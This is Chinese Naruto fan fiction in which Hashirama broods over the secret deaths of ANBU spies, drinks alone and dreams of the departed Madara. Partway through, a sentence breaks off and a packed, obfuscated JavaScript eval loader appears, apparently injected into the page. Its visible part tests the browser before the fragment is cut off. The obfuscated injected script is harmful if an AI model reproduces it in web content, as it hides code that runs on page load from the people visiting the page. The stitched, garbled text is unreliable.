柱间回到家中,随手拿起案几上的卷宗——是关于新成立的暗杀战术特殊部队,即所谓的暗部成员表格。 由扉间建议成立,由火影直接统治,方便来处理一些不好摆放在明面上的秘密任务。里面的成员组成是只有最高层才知道的秘密:暗部成员统一着装,戴着面具,将自己完全隐藏在木叶的阴影中,用龌龊的手段在黑暗中默默地守护着村子。 他们所做的工作包括刺探他国情报、监视木叶村内各个家族的动向、调查村内值得怀疑的重要人物以及与之往来的对象、暗杀对木叶有威胁的高层……这些都是不能摆上台面的任务,但总要有人去做这些脏活。 他想起了那个名为阿志的孩子,他泣不成声的母亲心碎的说,她已经有一个孩子——阿志的兄长——成为了忍者,在任务中死去了,阿志是她最后的孩子了。 柱间望着那表格里标注亡故的名单:阿志的兄长就是一位暗部成员。 他是位优秀的间谍,被派往外村刺探情报,后来被敌人捉住后经历严酷的刑罚也并未出卖木叶的情报。 但他的死亡原因却是秘密的,连为儿子日夜忧心的母亲也不知道他真正的死因:木叶不能承担起主动向他村派出间谍的名声——尽管所有忍村背地里都这样做,彼此也都心知肚明——但那孩子不能被冠以英雄之名。他的死亡原因是黑夜里不可言说的秘密。 所有的暗部成员都有在黑夜里牺牲的觉悟。 这是必要的牺牲……吗? 这位无名姓死去的青年,他的母亲不知道他加入了暗部,也不知道他在敌人手中遭受了怎样的折磨,她什么都不知道,只接受到了作为忍者的孩子的死讯,并且要目送自己最后的孩子再次重复兄长成为忍者的道路。 战国年代也都是这样做的——但那时候,母亲至少知道她的孩子是怎样牺牲于战场上的。 他们的牺牲是有意义的。 柱间的目光投向外面:街道上的人家亮起电灯,万家灯火,被木叶所庇护的人们在其中欢笑。 等夜渐渐地深了,那些光芒也一盏盏熄灭,村庄安静下来,除了巡夜的忍者,大多数人已经进入了柔软的梦乡—— “我不想让我的孩子生活在这样的木叶。” 千夜的声音响起,她是以母亲的身份这样说的——那个心碎哭泣的暗部青年的母亲如果有机会,恐怕也会这样说。 是的,木叶……在和平与光明的表象之下,仍有许多不足与无奈。 千夜的孩子,是亡故的斑留下的骨肉。 柱间很想将那孩子留在身边,亲眼见证着那孩子长大,看这个有着斑血脉的小家伙五官的轮廓是否有故人的影子,ta会怎样哭,怎样笑,怎样的性格,怎样蹒跚学步,成长路上会交上哪些志同道合的朋友,会经历什么故事?…… 渐渐的,柱间脑海中关于那个孩子的蓝本变幻成了年幼的斑。 尚且稚嫩的宇智波斑在南贺川的阳光下对他露出笑靥。 柱间给自己斟了一杯酒。期间扉间来取文件,看了一眼正在独酌的兄长,但什么也没说:在他看来兄长的身体已经好得差不多了,不需要自己时刻注意他的饮食了。 “你喝酒做什么?”扉间只是随口这样问。 他答曰:“赏月。” 扉间眼皮抽搐了一下:“今晚没有月亮。”言下之意谴责他说谎都不带用心的。 柱间笑吟吟地不作声,扉间最后只说了“少喝点”就离开了。 今夜无月。然而往往是失去月亮的夜晚,人们才会怀念月亮。 辛辣的酒液沿着食管滑入胃部,柱间想起自己第一次喝酒,被这古怪的味道呛得不行,但回忆矫饰了这一点,使得他如今回想起来只觉得仍觉得那古怪辛辣中带着青春的甘美。 他第一次喝酒是同斑一起的。 彼时忍者之神与忍界修罗正青春年少,那个年纪的男孩子对什么都跃跃欲试——忍者三禁,酒正是其中之一。两位少年决定试试。 志趣相投的青春期男孩子在一起玩耍,往往好奇心炽烈,更有着百无禁忌的勇气。于是两人在一起偷偷尝到了这大人口中的禁忌——禁忌,但那时候两人根本不把所谓的禁忌放在眼中,他们是无法无天的少年,没有什么他们不敢尝试,不能尝试,未来是属于他们的。 然而家族的仇恨轻易地摧毁了少年们珍贵的友谊——他们是千手与宇智波,他们是生来注定的敌人。 随之而来的是更为激烈的战争。 现在回想起来他自己的年少时光,多半伴随着族地里沉重的气氛与压抑的哭泣,每隔一段时间盛着族人尸体的棺木就会一齐在族地下葬,柱间于是永远的记住了墓地里鬼魅似的林木阴影,森林里食腐的鸟类在那阴影里发出凄厉沙嘎的喊叫—— 后续的史学家会定义这些大大小小战争将对历史产生怎样的影响,对其中错综复杂的权力游戏津津乐道,却永远也不会知道战争里有多少没被记录下姓名的人是如何与挚爱的家人告别,在异乡的土地上无声无息地死去;不知道那些心碎的母亲是如何焦虑地等待着孩子的归来——直至最后确认死亡的讯息从千里之外传来…… 柱间甚至都有些惊讶于自己那时候的精神状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宇智波斑,他似乎总与禁忌相连:从少年时期两人一起偷偷喝酒,瞒着家族的其他人与对方偷偷交往,就连他的死亡也是禁忌。除去他的恋人千夜,再无人愿意在柱间面前提起他的名字。他与斑的恋人相谈甚欢,但斑的恋人绝不会怀疑柱间对斑的情感——因为那感情也是一种无法言说的禁忌。 柱间曾经有打破一切禁忌的勇气。因为他那时候年少气盛,是千手一族的领袖,被誉为忍者之神,几乎抵达了自己名声、势力、力量的巅峰,最重要的是那时候他此生最重要的人、上天给予他的启示——宇智波斑也站在了他的身旁,那是多么意气风发的时候啊! 但所谓黄金时代转瞬即逝,斑离开了他,放弃了木叶这个两人曾经共同的理想。忍村制度也逐渐暴露出了它自身的缺陷:忍村内氏族之间的明争暗斗,不同忍村之间的相互倾轧,木叶制度下那些暗地里牺牲者……人们依然相互计算攻讦,母亲们仍然为了送自己的孩子去死而哭泣,年幼的孩子也在各方面的压力下难以展露笑颜……曾经的梦想已然被蒙上浓重阴影。 他不再是那个意气风发、无所不能的忍者之神了。他是木叶的初代目火影,接受着众人的崇拜与希望,变作了和平与规则的维护者。于是加诸于他身的种种责任便成为了神明身上沉重镣铐,束缚着他,使得他动弹不得,失去了打破禁忌的力量与义无反顾的勇气。 朦胧中,宇智波斑的身影浮现而出。 他仍然是那样一往无前的锋锐气质,几乎和少年时一模一样。火焰在他身后蔓延,几乎要将整个黑暗的天空烧得赤红,不羁的长发被风吹开,露出那张他魂牵梦萦的面孔,那样温柔、坚定、勇敢、无所畏惧的战士的面孔。 在这样如火焰般炽烈的斑面前,柱间从心头涌出来的热血,在胸腔中滚烫爆裂的感情使他重新变作了那个有着无所不能勇气的少年。夜风与庭院的花草一同倾听了两人之间情浓意长的谈话。 这谈话是多么愉快啊,他们再次坦诚相向,无所不谈——除了他禁忌的爱意,但这已经足够他倍感幸福了。 柱间恨不得时间永远地凝固在这里,为此他甘愿死去。 然而,斑从他身上移开目光,望向远方:“停留的时间已经太长了——我要离开了,去往追寻新的理想。” 他温柔的叹息:“再见了,柱间。” 一阵忽如其来的剧烈惶恐攥紧了柱间的心脏,他紧紧捉住斑,他恳请、哀嚎、乞求他留下,但他的种种努力皆未成功——斑转身离去,他永不会停下脚步,永远笔直地朝着理想的前方而行。 为此,他从来不惜抛下一切:家族,村子,以及柱间。 朦胧幻觉中那火焰随着斑的离开消散,赤红的天空波动不定,疏忽之间鸡啼破晓,柱间自梦中醒来,胸腔里的那颗心脏依然惶恐不安,阵阵绞痛。 一如往常的,部下走进来交接任务,告知火影最新情报。 他说,月之国的那位若殿様已经准备启程,明日就要带着他那位美丽的妻子离开了。